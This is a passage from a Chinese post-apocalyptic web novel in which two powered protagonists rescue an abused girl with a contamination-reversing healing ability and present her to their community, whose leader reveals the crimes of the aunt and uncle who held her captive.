陆燃问了半天，约等于什么都没问出来，地狱之火只记住了自己的称号，连自己的职责都没记住，给出的信息量和他刚刚自己推测的没什么差别，果然还是他之后去做实验吧。 思绪彻底收回，陆燃的注意力终于放到了周围的环境上。 经过刚刚那一遭，这间屋子已经彻底成了焦黑一片，墙壁还隐隐散发着热量。 门被烧穿了，客厅有一小块地方也成了焦黑一片，好在就蔓延出去了一点，没有造成什么实际损害。 原本是床的地方，只剩下了零星的几块骨头。 陆燃看向陈嘉佳。 陈嘉佳刚刚极限透支了自己的力量给江朗拉血线，她本来就没什么血色的脸色瞬间白成了一张纸——甚至不是什么有点厚度的纸，更像是淘宝上几块钱好几叠的草稿纸，吓得江朗给她猛灌了一瓶大红。 但是她这种消耗生命力的形式似乎和他们的受伤不太一样，哪怕是猛灌了一大瓶红药之后，她看上去依旧没几分血色，陆燃刚刚就是出于类似的猜测，才让她停止一边折磨一边治疗陈家夫妻。 他转向陈嘉佳。 “我大致给你讲一下外面的情况，大约两个月前，世界末日降临了，大部分人和动植物都转为了污染物，你姑姑姑父想让你给陈敏‘治疗’的时候你应该就见过了，你说那时候她看上去有点像鱼，她应该是被污染物抓伤了，如果任由她完成转变，形成的东西就是污染物。” 陈嘉佳满脸迷茫。 她其实有想过自己觉醒了这个奇怪的能力会意味着什么，她不相信自己是万中无一的存在，既然她多出了奇怪的能力，那么其他人里肯定也有，陆燃和江朗的出现印证了她的猜想。 但她没想到这意味着末世…… 或许她早该猜到的，就像她早该猜到爸爸妈妈已经不在了，只是她想方设法让自己不去看见那些糟糕的可能。 “你们小区保存得比较完好，现在大家还在正常生活，因为隔壁小学的一个老师觉醒了很强的异能之后就近取材，将这里当做了她放置幸存者的基地，我们现在要带你去见她，因为我们攻击了小区居民，需要解释一下，等会儿你只要向她再叙述一遍你姑姑姑父对你做的事情就可以了。” “你明白了吗？” 陈嘉佳愣了一会儿，然后视线重新回到陆燃身上：“我明白了。” 陆燃看了眼陈嘉佳比常人要细瘦几倍的手臂和腿，让她走下十几楼的楼梯显然不太现实，于是他看向江朗： “走窗吧。” 江朗：“我也是这么想的。” 陆燃看向陈嘉佳：“你不恐高吧？” 陈嘉佳其实还沉浸在陆燃刚刚的话语中——末世了……好半天才反应过来陆燃在问什么。 恐高？ “我不恐高。” 然后她迷茫地看着两个人一人掏出了一条细长的带钩子的绳子。 江朗额外掏了个攀岩安全带出来，把陈嘉佳绑到了自己身后。 “走喽！” 他打开窗口跳下去的那一瞬间，陈嘉佳睁大了眼睛！ 夜晚的风从她耳边呼啸而过，她只能感到自己的双耳里的鼓膜在轰隆隆地震动，大脑更是轰鸣一片，她像是能听见自己血液的声音一般。 哪怕明知道他们不可能带着她去送死，但是一瞬间的濒死感，依旧让她意识到了她有多想活下去！ 看着那两个人化为飞灰之后，她其实走神了很久。 两位恩人在旁边谈话的时候，她其实一直在盯着地上那团已经分不出到底是人还是床烧成的灰看。 有那么一瞬间，她觉得自己失去了活下去的理由，当年她拼尽全力从人贩子的车上跑走，饿得眼冒金星也要继续往前走，就是为了回家见爸爸妈妈，被这两个人关起来之后，她被关在狭小的抽屉里，吃着他们丢给她的剩饭，其实过得几乎生不如死，但那样她也要活下去，就是为了去见爸爸妈妈。 但是爸爸妈妈已经不在了，而这两个她只愿将他们千刀万剐的仇人也不在了，她还要做什么？ 也许她应该好好活下去，不知道她现在出去上学的话还跟不跟得上进度，可能很困难吧……但是她不想让爸爸妈妈失望，所以她应该要好好读书，考个好大学，这样爸爸妈妈就会高兴了。 但她刚下完这个要好好读书的决心，陆燃就又告诉了她，外面的世界已经毁灭了，世界已经陷入末世，所以，她就算想完成爸爸妈妈曾经说过的希望她考个好大学的愿望，也没地方去满足了。 她有那么几个瞬间真的很迷茫，所以她还活着做什么？ 这个问题慢慢地侵入了她的脑海，好像要扎根下来。 但现在—— 不是为什么想活，而是为什么要死？！ 她不想死！ 在最濒临死亡的体验中，她突然发现自己还是想要活着的。 陆燃和江朗不知道她的心理变化，如果知道的话，江朗大概会很开心，陆燃则大概会说——不错，走窗这个选择除了拉近了直线距离还发挥了点别的作用，一石二鸟。 第86章 第 86 章 小区难管（四） 张老师听到敲门声的时候, 一开始其实没反应过来。 倒不是因为这个时间。 夜里其实经常有人找她，因为污染物似乎是一种除之不尽的东西，哪怕她已经清理过Q市很多遍, 海岸小区更是她清理的重中之重，但好像除非她决心将这块地方变成彻底不适合生物生存的荒地, 否则她就不得不面对每时每刻都会有新的污染物出现的情景。 尤其是有些居民不注重个人卫生条件, 经常半夜被钻出来的变异老鼠变异蟑螂什么的吓得直敲铁棒希望她来救他们。 这种事情她已经习惯了，所以她总是在倾听，总是做好了捕捉三声轻敲金属的声音。 但是基本不会有人来敲门找她。 所以敲门声落在她耳朵里，反而很陌生, 或者不如说, 她的感官里对敲门声这种声音是相对盲视的。 她反应了会儿才翻身起来, 困惑地走向客厅, 然后打开了门。 然后她看见了陆燃和江朗两个人，但不止他们两个。 他们中间, 站着一个从外表上就能看出虚弱无比的孩子, 她的脸色与体型，代表了她已经饿了很久而且已经很久没见光了。 她略有些惊讶, 还以为这两个年轻人大半夜的还在外面救人, 这孩子一看就是末世来临之后就没怎么吃东西的，怎么瘦成这样了。 她连忙拉开门, 将这孩子带进了门内, 在她桌边的那一堆物资里面翻起了有没有自热粥之类的东西。 她翻找了半天, 没找到自热粥, 只有一个需要加热的方便粥，只能麻烦陆燃帮忙加热一下了…… 张老师这折腾半天，等她把粥找出来要撕包装的时候, 陈嘉佳终于反应过来这是在给她找吃的了。 她连忙说：“谢谢，我今天晚上刚吃过方便面，现在还不饿。” 张老师懵了一瞬间，但这孩子看起来起码得饿了有一段时间了，她看向陆燃和江朗。 陆燃：“我来解释吧。” “她叫陈嘉佳，是原本住24幢1503的那对夫妻的侄女，她这么瘦是因为一直被关在衣柜抽屉里，与其说是瘦，不如说是肌肉萎缩。” “什么？！” “这两夫妻，当初是继承了兄嫂的遗产才得到了1503这套房子，当时陈嘉佳被拐卖，应该是被定性为了失踪或者死亡，所以她回来的时候，这两夫妻就必须将她还活着并且找回家了这件事瞒住，否则他们的房就归陈嘉佳了。” “大概就是这么一个情况。” “关于她父母的事和她本人的身份可以向14幢102的张婶求证，她很早以前就认识陈嘉佳的父母，而且应该也还能认得出陈嘉佳是不是本人。” 张老师满脸都是震惊，然后突然颓然地坐了下来：“我竟然让这种事就在我眼皮子底下发生了……这两夫妻看起来是一对老实人，没想到竟然能做出这种事！” 她痛苦的表情让陆燃意识到——她应该自动补全了这件事是怎么被他发现的。 他刚来到海岸小区那天，张老师就对他说过，希望他以后尽量不要对小区内部的人施展他的异能。 她自己也是这么做的，明明拥有可以全境监听的能力，但是她始终都保持着一种克己的风格，只听有人主动希望她听的内容。 因为她不希望小区的居民生活在被无死角监控的恐惧中。 但是她现在却发现，她对小区众人隐私权的尊重，差点害了一个孩子，如果她一直在听所有人在说什么，或许她就能更早地发现这个可怜的孩子，而不是要到陆燃出手——是的，陆燃觉得张老师大概是觉得他出手监视了一下小区的情况，才发现了这个被藏了九年的孩子。 此时此刻的张老师，大概陷入了严重的自责与怀疑甚至挣扎中。 她大概在思考那个经典的问题——安全和安全感到底哪个更重要？ 她想要给海岸小区的居民们安全感，但如果她真的实施全境监控的话，是不是就能阻止一些悲剧的发生，甚至提前消弭一些冲突？ 陆燃大脑稍微转了一下，就大致清楚了张老师的思路，于是他继续说道： “这两夫妻的古怪是于檬提供给我的线索，她发现家里的食物消耗和花费的积分对不上，才来跟我说了这件事。” 他是在暗示——他没有跨过那条线，他也不觉得她坚持不监视自己的居民有什么错。 张老师也确实听懂了他的暗示，她肉眼可见地稍微松了口气，虽然那份犹豫与挣扎与疑虑依旧在她眉间挥之不去，但至少淡了许多。 “谢谢。” 陆燃知道她在谢什么，干脆地受下了这份谢。 然后张老师的注意力重新回到了陈嘉佳身上。 她有些犹豫该怎么安置这个孩子，在此之前，她对未成年的态度一直都是尽可能给他们找个监护人，但她觉得这孩子受的创伤有点大，大概正处于对人群极度不信任的状态中。 “你想和别人一起住还是自己住？” 陈嘉佳似乎注意力不太集中，隔了一会儿才说：“我想自己一个人住。” 然后她转头问陆燃：“于檬……是谁？” 江朗深知陆燃今天讲的话已经到份额了，或者不如说，今天一天内，他已经把他这一周份的话都讲完了，于是自觉替陆燃接过话头： “是一个我们之前从别的地方救出来的女孩子，因为我们没有找到她妈妈，所以她暂时跟你姑姑姑父一起住，就是她发现你姑姑姑父多消耗了一人份的食物，才让我们起了调查的心思，然后才找到了你。” 陈嘉佳微微怔愣：“我……我有什么能为她做的吗？” 陆燃和江朗对视一眼。 “恐怕没有。” 陈嘉佳神色一黯：“那你们能帮我告诉她，我很感谢她吗？” “也许你可以自己对她说。” 陈嘉佳愣了一下，好像也是，她现在已经可以和别人讲话了。 然后陆燃朝江朗使了个神色，与此同时，顺手从背包里掏出了一张静音卷轴，直接用掉了。 江朗于是懂了，他看向张老师：“张老师，还有一件事。” 张老师还有一部分沉浸在愧疚之中，听到江朗的话后立刻收拾了一下表情，看向他：“还有什么事？” 江朗：“陈嘉佳的异能很特殊，非常特殊。” “她是治愈系异能，但不是普通的治愈系异能，是甚至可以逆转污染程度的治愈系异能。” 他话音落下，张老师救猛地睁大了眼睛，甚至有些不敢相信自己听到了什么。 其实江朗说到治愈系异能的时候，她就已经不禁睁大了眼睛，Q市和C市相比，毕竟是个小城市，江朗和陆燃此前向其他人描述C市的情况的时候，其实都刻意略过了C市有个治愈系异能者的情况，毕竟C市这个体量出个治愈系异能不奇怪，但Q市估计不太可能，这地方都没几个特殊异能，感觉全市的异变值都集中在张老师一个人身上了，其他异能者拥有的异能都非常朴素。 为了以免他们生出不必要的希望或者嫉妒，陆燃和江朗刻意略过了林霖的异能没提。 谁能想到Q市不出异能者则已，一出就必是大的，陈嘉佳不仅是治愈系异能，还是江朗都从未听闻过的可逆转污染的治愈系异能。 就是副作用也一样明显。 张老师目瞪口呆了好半天才回过神来：“等等……等等！这孩子的异能是……？” 江朗和陆燃点点头，再次肯定：“是的。” 张老师张大嘴巴又闭上，似乎在思考该说什么，最后却突然说了件不算那么相干的事： “你刚刚放出来的那个东西是类似于隔音阵法之类的东西吗？” 陆燃点点头：“是的，虽然我觉得应该不会有人在听着，但是还是小心为上。” 张老师：“怪不得你特意……” 陆燃：“而且陈嘉佳这个异能有一些比较致命的缺陷。” “她治愈别人，消耗的是自己的生命力，而且应该不是能靠其他治愈效果补上的——” 他指的是他和江朗从游戏里带出来的红药。 “——应该需要一段时间才能自然恢复过来。” 他的判断依据是陈嘉佳给陈敏治疗后过了一段时间又觉得正常了，不过这都是他的推测，最好之后再实验一下。 张老师原本欣喜的表情转为了严肃：“那这个异能还是要少用。” 陈嘉佳：“其实我没什么的……” 陆燃：“你有没有事不是你自己说了算的。” 他又转向陈嘉佳： “以及我希望你趁着现在想清楚，这个异能，你想公开吗？如果你想公开的话，又想公开到什么程度？” 张老师点了点头：“你说得对，这确实应该看她自己的想法。” 她忍不住有些惭愧，其实她听见这孩子的异能是治愈能力的时候，第一反应就是小区有医生了。 她的第一反应里并不包括也许该劝这个孩子隐藏自己的异能以保证安全，这个小区毕竟是她一手建立起来的基地，她难免对这个小区带有一些滤镜，但是最近的事情一次又一次证明，她把人想得太好了，小区里的人并不是像她想象的那样个个淳朴且相处和睦。 对于一个异能如此珍稀还利他的人来说，确实应该考虑这个异能到底该不该暴露出去。 “你是怎么想的呢，孩子？” 她和善地看向陈嘉佳。 陆燃补充：“我的建议是你不要把这件事说出去，你有治愈系异能但没有攻击和自保手段，暴露出去就是个显眼的靶子，虽然我们有把握从任何人手里救下你，但是千日防贼是一个很累的事情，你最好考虑一下能不能承受住这种心理压力。” “不过如果你一定要说的话，最好把你的异能的副作用也说出去，先别人一步进行道德绑架。” 张老师“嗯”了一声：“如果你愿意公开的话，我会把请你治愈一次明码标价地列入积分表中，需要付出代价才能获取治愈资格的话，相信能让大家对你更尊重一些。” 江朗在他们两个人说完之后补充：“你别急，你可以慢慢想，不一定非要今天做出决定，今天我们只是来带你过个明路，毕竟你之后就要光明正大地在小区生存了嘛，总得让这个小区的管理者看一眼对不对？” 陈嘉佳思考了一会儿，只是很短的一会儿： “我想公布。” 陆燃没有任何惊讶，哪怕刚刚就是他在劝陈嘉佳对自己的异能保密。 反倒是张老师脸上闪过一丝讶异，她忧虑地补充了一句：“我没有任何给你压力的意思……” 陈嘉佳摇了摇头：“没有，没有压力，我只是想要帮助更多的人，如果我选择瞒着的话，能帮上的人就太少了。” 张老师深吸了一口气，异常严肃地说：“我发誓，我会尽我所能保护你。” 第87章 第 87 章 公布陈嘉佳事件 张老师深吸了一口气, 异常严肃地说：“我发誓，我会尽我所能保护你。” 但她很快想起了一件事：“等等，有个人……” 她神色之间有些愧疚, 大概是觉得自己刚说完不会滥用陈嘉佳的能力就想让她救人有些出尔反尔吧。 陆燃和江朗倒是立刻反应了过来张老师想救谁，因为他们两个也想到了同个人。 “张老师你是想说小陈？” 陈嘉佳好奇地问：“小陈是谁？” 张老师点了点头：“对。” 然后转过头去向陈嘉佳解释：“小陈是小区的异能者之一, 之前小区遭遇了一场……鼠灾, 那是一种拥有自我复制能力的变异老鼠，污染物，小陈是那天晚上值班的异能者，他首先发现了污染物的存在以及它的特点, 并及时通知了陆燃和江朗, 陆燃和江朗及时赶回来才得以控制住了局势, 如果不是他的话, 海岸小区那晚可能就会彻底陷入污染物的汪洋中了。” 陈嘉佳：“那他自己呢？是受伤了吗？” 张老师抿紧了嘴唇，点了点头：“是的, 而且伤得很严重。” 陈嘉佳：“我不确定我的治疗能力是不是对多严重的伤都有用, 但我可以先试试。” 张老师担忧的目光扫过陈嘉佳苍白的脸庞，近乎透明的皮肤, 还有手腕上凸起的骨节。 “不急于一时, 你的情况看起来也并不好，不要透支自己的生命。” 陈嘉佳摇了摇头：“我刚刚回忆了一下, 就是……” 她朝陆燃和江朗看了一眼：“就是, 刚刚我姑姑姑父身上只有普通伤口的时候, 我给他们治疗其实没太多难受的感觉, 你们应该也还记得吧？我治疗了他们好多好多次才突然开始难受，但是之前我给陈敏治疗的时候，只治疗了一下就难受得不行, 那之后好多天都动不了。” “所以我觉得，或许只有你们所说的能形成污染的伤口会耗费很多力气，普通伤口可能就不会？” “而且，我想救那个人，他听起来是个很好的人，我也住在小区里，如果当时小区真的被污染物淹没了的话，我估计也已经死了吧，我希望能为他做点什么。” 陆燃：“你的结论下得有些武断，你姑姑姑父和陈敏的伤口区别不止这一点，如果你的治愈能力的耗费是按照对人体的修改程度算的呢？你姑姑姑父身上只有伤口，陈敏却是需要整个人变回来，小陈的情况其实也类似，他伤得很重，要治疗他的话，也基本算是把他整个身体组织都换了一遍了。” 就在陈嘉佳神色有些黯淡下去的时候，陆燃却话风一转：“但是我们也没法确定你的异能到底是怎么运作的，你要是想的话，趁这个机会实验一下也是不错的选择，只要你能在感到不舒服的时候立刻停下来就行。” 陈嘉佳立刻重重地点了点头：“我不会勉强自己的！” 陆燃看向张老师。 张老师倒是有些犹豫：“其实……也不差这一天两天，她看上去实在太……太脆弱了，还是休息两天再说吧。” 陈嘉佳：“我真的没事……咳咳……” 张老师很不赞成地看了这个逞强的孩子一眼，轻拍着她的背部让她平复下来。 陆燃却说： “就是因为她刚刚已经用了很多次异能，这是测试她异能极限的最好时机，总比休息好再让她虚脱一次强，不是吗？” “而且，没有比治好小陈的伤势更有效的展现她的治愈异能的强大的方式了，这样顺势拉高兑换积分的数目就比较让人接受，而且也可以给他们打下一个比较基础的印象，不是这种程度的重伤就没事别去找她治疗。” 张老师脸上的不赞成随着陆燃慢条斯理的叙述慢慢褪去，到了最后，她觉得陆燃说得也很有道理，再加上陈嘉佳一脸期待地看着她，再一看江朗，算了，江朗就不用看了，陆燃说什么他都觉得有道理。 三比一，她还是认输吧。 “跟我来吧，他就在隔壁。” 一片黑暗中，张老师打开了102的房门。 陈嘉佳被囚禁的这些年，虽然身体其他器官退化严重，但却发展出了罕见的夜视能力。 她能清晰地看见床上那个人的样子，而非仅仅是黑糊糊的一团。 虽然……严格来说，那个人确实是黑糊糊的一团. 大清早的，海岸小区居民虽慢但配合地聚集到了广场处，其中不少人还有些睡眼惺忪，尤其是年纪比较小的一些人，虽然末日之后所有电器都没法用了，但是当代年轻人昼伏夜出的作息真没那么好改，让他们大早上的出门，实在是有悖他们的生物钟。 “到底什么事啊？” “我也不知道啊，隔壁婶子拉我起床的，说张老师让所有人集合，有事宣布。” “啊？真的假的？那张老师人呢？” “没看见张老师啊？” “我去，你们都是被别人拽起来的吗？只有我一个人看了公告板吗？” 一群不明真相听说张老师要求他们集合就拖着拖鞋下来了的人瞬间围住了这个看起来比较了解真相的哥们。 “什么公告板？我们还有公告板？” “我靠！当然有！不然你们平时看兑换积分在哪看的！” “哦哦哦……那玩意儿就是公告板啊，我去，这谁会每天去看，太闲了吧？” “搞得像现在大家的时间还很宝贵一样。” “还真是，现在是个人都很闲。” “公告板上说，希望大家今天七点集合一下，张老师她有事想宣布，我瞅着也快到七点了……” “哪里快了！还有整整一刻钟！我晕，早知道我就再睡会儿再下来了……” 广场上，一群人叽叽喳喳地交头接耳着，思考着张老师到底有啥事儿这么严肃要跟大家宣布，上一次聚集还是海岸小区新规宣布的时候。 虽然唠着唠着就唠到别的方向去了，一时间，广场就跟个大型聊天室一样，吵得人脑瓜子嗡嗡疼。 “爸爸——妈妈——” 一个极具穿透性的年幼的女童哭声让吵闹的广场停滞了一瞬。 “爸爸——妈妈——不见了——” 广场上众人朝声音来处看去，看见一个熟悉的，粉雕玉琢的小女孩正哭哭啼啼地喊着爸爸妈妈，让人心都化了。 “诶呦，这不是敏敏吗？” 一个显然与陈敏父母相熟的阿姨一把抱起陈敏。 “敏敏——怎么啦？怎么哭成这样？” “爸爸妈妈不要我了……” 陈敏一抽一抽地说。 “怎么会呢？敏敏这么可爱，爸爸妈妈怎么可能不要你呢？乖——乖——宝贝不要哭了好不好？” “诶呦心疼死我了，我可见不得这么可爱的闺女哭成这样！” “老王绍芬他们干嘛去了？居然让孩子一个人跑出来了？” “不知道啊，没见到他们，这也没有啊？” 广场上的人都左顾右盼了起来，试图找到那俩夫妻的身影。 但是随着他们怎么找都没有找到人，他们脸上逐渐浮现出了几分忧虑。 难道说……陈家夫妻真的不见了？ 和陈敏离得太近的一些人不太敢讨论这个可能性，离得较远的一些人却是直接轻声交头接耳起来了。 “怎么回事？人真不见了？” “不太可能还睡着吧？要是还在家里肯定不会由着陈敏这样一个人跑下来啊……” “难道说这就是张老师把人聚集起来的原因？” “我去，吓死了，他们俩是被——那个了吗？” “不知道啊！我还以为小区里很安全呢！” “对啊……我昨天晚上睡得很熟，难不成有啥污染物打进来了？” “我靠，怎么可能，真有污染物打进来你还能好好站在这里？你还能睡得很熟？” “那难道是——内鬼？！” “不是，有谁跟他俩深仇大恨到末日了还要给他们两刀的吗？” “不是没可能啊？有没有本来就住着小区的人啊，他们的社会关系如何，有任何仇家或者起过矛盾的人吗？”——这是立刻进入了侦探模式的。 “难道说这就是张老师喊我们过来的理由，一个一个录口供，提供自己的不在场证明？”——这是还真有人信了的人。 广场上的人脑洞大开的时候，张老师终于出现了。 她不是一个人出现的。 她身边还跟了一个广场上的众人没有想过会再次出现在他们眼前的人。 “卧槽！小陈？？？” “真的是小陈啊！！” “我靠我靠我靠，让我摸摸，是活人吗？！” 跟在张老师身边一起走出来的，一脸爽朗又腼腆笑容的，赫然是此前在复制老鼠一战中不幸被啃得连个人形也不剩了的保安小陈。 他此刻站在那，挠着头，笑容依旧，面对大家的问题，他羞涩地笑着：“对，是我，真的是我，哈哈哈哈随便摸！我是活人！” 小区居民顿时全涌了上去，一时间也没人管哭哭啼啼的陈敏了，陈敏下意识哭得更大声，想要将大家的注意力重新拉到她身上来，但是她很快发现，自己哭得哪怕很大声很大声了，也只有抱着她的那个阿姨在哄她，其他人都完全不看她，于是她的哭声渐渐低了下来，到最后只剩下了抽泣和几个嗝。 在场大部分人，除了后来被救的，基本都是见过小陈的惨状的。 那天之后，张老师跟大家说，这次多亏了小陈及时选择向陆燃和江朗两人报信，并且直接点明了污染物的特点，才救了小区的大家一命。 很多人都去慰问过他，虽然根本不忍心看他伤势——太惨，太触目惊心了，一看到那些坑坑洼洼的伤口，好像就能想象到他被数只甚至数百只老鼠啃咬的感受。 他们可是见过他伤成什么样的啊！就算现在不是末世！是医院还能正常运转的好时代，也不可能让伤成这样的人全须全尾完好如初地回来吧！ “我去！真的是温的！不是鬼！” “什么鬼啊！鬼什么鬼！小陈是伤了不是死了好吗？！不是机器人！真的是活的！” 小陈都忍不住笑出声了：“哈哈哈哈哈，你们越说越离谱了，真的就是我，之前躺病床上的那个我！” 他看向张老师，似乎是在用眼神询问他能不能告诉大家发生了什么，围观群众的视线也纷纷移向了张老师。 “这是怎么个事啊张老师？你给我们讲讲呗。” 张老师做了个手势，示意他们安静一些。 本来这群人是没那么容易安静下来的，但是他们太想知道发生了什么了，所以张老师这个手势一打出来，广场上瞬间只能听见其他人呼吸的声音了。 “这就是我今天要告诉大家的事，我们小区，非常幸运地拥有了一名治愈系异能者。” 广场上瞬间就炸了。 “我去？？张老师你是说小陈是被异能者治好的？我草？？这异能这么牛逼？？” “我靠！我们小区那不是无敌了？” 张老师又打了个手势，示意他们安静：“别太激动，这位治愈系异能者给人治疗，是需要耗费自己的生命力的，所以你们别想着有点头疼脑热的就去麻烦人家知不知道！” “天……” “知道了张老师……” “那，那这个治愈系异能者还好吗？治疗小陈这么重的伤势，得耗费多少生命力啊？” “是耗费严重，所以她现在在休息，过会儿会出来让你们见见的，为了防止有人乱找她治疗，而且为了让她尽量不透支自己的生命，我们计算过后决定以后一次治疗机会由1000积分兑换，大家能接受吗？” “嘶——多少？？1000积分？” 对于张老师的“报价”，大多数人的第一反应是倒吸一口凉气，我勒个一千积分啊，这得攒多久才能有这么多？！ 但是一想到这位治愈系异能是相当于以命换命的方式在给人治疗，又觉得，我靠，一千积分也是慈善了。 也挺好，不到小陈这种伤势，就别瞎去麻烦人神医了。 张老师继续说：“最关键的是，这位治愈系异能者的异能不光是针对普通伤势的，是的，小陈这种伤势对她来说也只是普通伤势，她甚至可以逆转非异能者被污染物攻击后的污染进程。” “所以，1000积分这个数目，其实确实是相当划算的数字了。” 广场上一瞬间寂静一片。 不同于刚刚的炸裂开来一般的动静，张老师刚刚那句话引爆的震惊炸.弹当量更大，过于大了，以至于一时间没人能做出任何反应。 好半晌，才有人问：“你是说……你是说，普通人被污染物攻击后，她可以让人不变成污染物？” 问话的人的声音逐渐从沙哑滞涩到急促甚至有些尖锐，可见他的急切。 他是前段时间来到海岸小区求助的一员。 张老师看向他，略带怜悯地点了点头。 然后他陷入了一片空白之中。 他周围几个人基本都是当初的求助者，有的人拍了拍他的肩，然后沉默地掩住了自己的脸庞。 有些人脸色变幻，似乎前一秒还在痛苦为什么这样的异能者早点不出现，下一秒又在庆幸至少真的有这样的异能者。 其他人也陆陆续续回过神来了。 比起之前的震惊，他们现在的神色更多的应当称之为敬畏。 至于刚刚还在感慨的1000积分的价格……现在看来真的是慈善中的慈善了。 张老师看着面前的众人开始回过神来，甚至开始低头叽叽喳喳地互相讨论了起来，突然间，她若有所觉地看向身后，果然是陆燃和江朗两个人带着陈嘉佳过来了。 陈嘉佳看上去依旧苍白，不过和昨晚为小陈治疗倒关系不大，她的异能真和她自己推测的那样，只要是无关污染物化的伤势，她需要耗费的生命力就不多，这惨白纯粹是之前身体太差加上耗费太大，现在甚至是休息了一晚后稍有些好转的状态。 不过，除她以外的人都不知道陈嘉佳昨天是个什么情况，他们看见她苍白脆弱的样子，下意识就以为她这是为小陈治疗后耗费生命力的虚弱样子，瞬间就对她的异能代价有了直观的认知，几乎所有人心中都植入了一个念头——不到万不得已，千万别去找对方治疗，积分倒是其次的，实在是这闺女看起来风吹一下就能倒，怎么好意思让人耗费她的生命力为自己不大的毛病治疗啊…… 就在他们心疼一脸苍白的陈嘉佳的时候，突然之间，一道尖利的女童声音响起： “是你——是你对不对！你把爸爸妈妈还回来！你这个……你这个麻烦精！” “你把我爸爸妈妈弄去哪里了！” “麻烦精！怎么不干脆死掉算了！” 陈敏从抱着她的阿姨怀里跳了下来，一路冲到了陈嘉佳面前，对着她拳打脚踢。 她早上一起来就发现爸爸妈妈不见了。 但是她现在看见这个人，就想起来了！不见了的除了爸爸妈妈，还有这个爸爸妈妈一直骂是麻烦精的住在柜子里的偷吃他们家东西的人！ 陈敏只有六七岁，但是被养得极好，陈嘉佳虽然比她高了大半个身体，但是被她一推依旧一个踉跄，似乎随时就要摔倒的样子，她身体亏空太严重，和陈敏站在一起一对比，更能看出她所受的虐待。 张老师连忙一手捞起陈敏，控制住了她的攻击动作，然后交给了一边的小陈，示意他控制住这个孩子，然后自己则捂住她的耳朵。 陆燃皱了皱眉，他昨天以为陈家夫妻对陈敏隐瞒了陈嘉佳的存在——不然为什么要将她锁在衣柜里，但是看陈敏现在的样子，她似乎是知道陈嘉佳的存在的。 也很合理，这么小的房子里，要24小时瞒住一个大活人的存在实在太困难了，隐瞒其他邻居有必要也有操作空间，瞒自己女儿就没那么容易了。 他昨天的判词是基于陈嘉佳不知情的情况下给出的，现在看来倒是稍微有些轻了。 不过儿童的世界观就是如此简单直白，还没到精于算计精于伪装的年纪，恶意都表露得如此直白。 她这样子一打一骂，过会儿张老师宣布真相，她的身份就从简单的“加害者家属”变成了虽然年纪小但令人胆寒的帮凶，日后她的日子就难过了。 海岸小区现在由于活动区域的局限和娱乐方式的消减基本已经退化回了曾经农耕社会的社会结构——也即名声即一切的年代。 也算冥冥之中合了他想给她的新判决。 张老师换上了一副沉重得多的表情，对广场上略显迷惑的居民们说道： “这就是我今天要宣布的第二件事。” “非常遗憾，治愈系异能者陈嘉佳女士是小区原住民，系原本住在24幢1503的陈绍芬的兄嫂之女。” “她被拐后自己一个人回到了海岸小区，却被陈家夫妻囚禁，理由仅为他们不想失去这套房子。” “陆燃和小江昨晚救出了陈嘉佳并且对陈氏夫妻进行了惩处，在此对大家进行公示。” 她说完后，面前的小区居民们瞬间炸了。 “我草！人渣啊！” “妈的这俩夫妻看起来老老实实的，居然能干出这么畜生的事！” “亲侄女也能下这么狠的手！” 他们看向一脸惨白的，并且瘦得感觉风一吹就会倒下的陈嘉佳，原本他们以为这种惨白和瘦弱的来源是刚刚为小王治疗导致的亏空。 现在一想！损耗生命力看起来惨白一点是正常的， 占了人家的房子连饭都不给吃饱！ 什么人啊！ 简直不能称之为人，畜生！ 立刻有一群阿姨婶婶围了上来，牵起陈嘉佳的手，心疼地表示这闺女怎么瘦成这样，以后她们一定会把她喂胖！ 陈嘉佳不习惯和人接触，这种热情的举动让她不禁瑟缩了一下，但是这些阿姨婶婶完全没有自己的好意不被领情的不高兴，眼中反而涌起了更多的心疼。 陈嘉佳几乎要被淳朴而热情的关心淹没。 陆燃和江朗也是好人，但是陆燃和江朗在同情心的给予上都非常克制，所以她并没有经受过这样铺天盖地简直要淹没她的关心，一时间不知道该如何反应。 “谢谢，谢谢大家……” 她惊慌失措地感谢着其他人，看着她对别人的好意不知所措的模样，再想起刚刚陈敏的话： “你把我爸爸妈妈弄去哪里了！” “麻烦精！怎么不干脆死掉算了！” 年仅六七岁岁的小孩，骂出这样尖刻而恶毒的话语，不难想象她是跟谁学的。 他们忍不住去想，陈家夫妻关起门来是怎么打骂陈嘉佳的，才让这么小的孩子都有学有样。 而此时，被禁锢在小陈手中的陈敏依旧满眼恶意地看着陈嘉佳，她挥舞着自己短但结实圆润的手臂，不停地想要从小陈怀中挣脱出去，看她的手势，一旦她能接触陈嘉佳，估计依旧会像刚刚那样对她拳打脚踢吧。 虽然明知孩子都是白纸一张，只知道模仿其他人的做法，但她的恶毒表现依旧让在场所有人不禁泛起了一股深深的厌恶与寒意。 张老师叹了口气：“这本来是今天要说的第三件事，陈家夫妻去世后，陈敏就成了孤儿，她年纪太小，需要一个监护人，有没有人愿意做这个监护人的？” “啊？我怕被她半夜打死！” 一个年轻小伙心直口快地说，旁边一位大婶拍了他一下示意他闭嘴。 “我有说错什么吗？她爸妈是虐待狂，她看起来也不像个省油的灯，我一个成年男人总不能对小女孩体罚，那不是等着被她打死吗……” 话虽然难听了点，这哥们还真说出了在场大部分人的心声。 养一个这样的小孩？ 先别说她看着实在不像个好种，就算是，一想到她爸妈做了什么事，他们也很难心无芥蒂地把这孩子当成普通的无辜小孩养。 而且你说这样的小孩到底是管还是不管呢，如果想让她以后变成个正常人，别像她爸妈那样恶毒，肯定得管管，但怎么想都觉得这小孩会很记仇吧，别管她一下管出仇了，长大后来报复自己就好笑了。 一时间，广场上一片沉默。 张老师有些叹气，最后只好随意点了个一脸不乐意的异能者让她临时先照顾一下陈敏。 陆燃倒是比较满意，昨天审判的判词总算对上了，虽然没什么证据，但他有些怀疑判词对不对跟地狱之火能获得的能量相关。 第88章 第 88 章 实验火苗的变化 陈嘉佳的存在终于被小区众人所知后, 短时间内倒是没什么差别。 海岸小区还是太安全了，平静的日常里也不会有太多人受伤，顶多有点像是切菜切到手指了这种小伤, 也实在不好意思去麻烦人家用生命力给自己治伤——当然，更重要的是舍不得那1000积分。 于是陈嘉佳就这样进入了疗养状态。 陆燃倒是对她的异能有些想要实验的想法, 比如他个人来说最好奇的一点——她究竟能将最高什么程度的污染物逆转回人类。 据陈嘉佳回忆, 陈敏那时候的脸部已经有些变化了，不过应该不大，毕竟她那时候只是觉得为什么陈敏的五官看上去有些像鱼，说明陈敏的污染度不高, 更何况陈家夫妻那么宝贝溺爱这个女儿, 怎么想都应该是第一时间就去找陈嘉佳治疗了。 而陆燃好奇的是, 